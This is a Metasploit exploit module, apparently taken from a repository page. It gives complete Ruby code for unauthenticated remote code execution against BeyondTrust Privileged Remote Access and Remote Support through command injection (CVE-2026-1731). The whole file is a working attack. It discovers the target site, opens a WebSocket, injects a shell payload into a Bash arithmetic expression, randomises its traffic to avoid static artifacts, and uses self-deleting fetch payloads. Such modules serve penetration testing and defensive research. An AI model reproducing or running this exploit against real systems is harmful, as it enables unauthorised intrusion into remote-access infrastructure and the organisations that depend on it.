157 lines
6.3 KiB
Ruby
157 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HTTP::Beyondtrust
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Rex::Proto::Http::WebSocket
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
|
|
Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
|
|
Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Harsh Jaiswal', # Discovery
|
|
'Jonah Burgess (CryptoCat)' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
|
|
['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
|
|
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
|
|
],
|
|
'DisclosureDate' => '2026-02-06',
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false, # Executes as the site user.
|
|
'Targets' => [
|
|
[
|
|
'Command Injection', {
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
# We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
|
|
# We must avoid characters that break the subshell or the arithmetic structure.
|
|
'BadChars' => '[$()]'
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
# A writable directory on the target for fetch based payloads to write to.
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp',
|
|
# Delete the fetch binary after execution.
|
|
'FETCH_DELETE' => true,
|
|
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
|
|
'URIPATH' => '/'
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
|
|
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
version = get_version
|
|
return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?
|
|
|
|
version = Rex::Version.new(version)
|
|
return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')
|
|
|
|
CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
|
|
end
|
|
|
|
def exploit
|
|
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
|
|
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
|
|
# establish a WebSocket connection to the target site application. By default, we query the target site to
|
|
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
|
|
site_info = get_site_info
|
|
|
|
if site_info.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
|
|
end
|
|
|
|
vprint_status("Company name: #{site_info[:company]}")
|
|
vprint_status("Site FQDN: #{site_info[:server]}")
|
|
|
|
headers = {
|
|
# This is the vulnerable application which is reachable over a WebSocket to the target site.
|
|
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
|
|
}
|
|
|
|
if !site_info[:company].blank?
|
|
print_status("Using company name: #{site_info[:company]}")
|
|
|
|
headers['X-Ns-Company'] = site_info[:company]
|
|
elsif !site_info[:server].blank?
|
|
print_status("Using site FQDN: #{site_info[:server]}")
|
|
|
|
headers['Host'] = site_info[:server]
|
|
else
|
|
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
|
|
end
|
|
|
|
wsock = connect_ws(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'nw'),
|
|
'headers' => headers
|
|
)
|
|
|
|
prefix = Rex::Text.rand_text_alpha(rand(1..5))
|
|
suffix = rand(0..5)
|
|
|
|
wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")
|
|
|
|
# Complete the sequence with randomized dummy data to avoid static artifacts
|
|
wsock.put_wstext("#{SecureRandom.uuid}\n") # remoteCookie
|
|
wsock.put_wstext("#{rand(0..2)}\n") # remoteAuthType (usually 0, 1, or 2)
|
|
wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey
|
|
|
|
while wsock.has_read_data? datastore['WFSDELAY']
|
|
frame = wsock.get_wsframe
|
|
|
|
break if frame.nil?
|
|
|
|
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
|
|
print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
|
|
break
|
|
end
|
|
end
|
|
wsock.wsclose
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
if e.http_response && !e.http_response.body.blank?
|
|
if e.http_response.body == 'Invalid company or app name'
|
|
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
|
|
else
|
|
print_error(e.http_response.body)
|
|
end
|
|
end
|
|
fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
|
|
end
|
|
|
|
end
|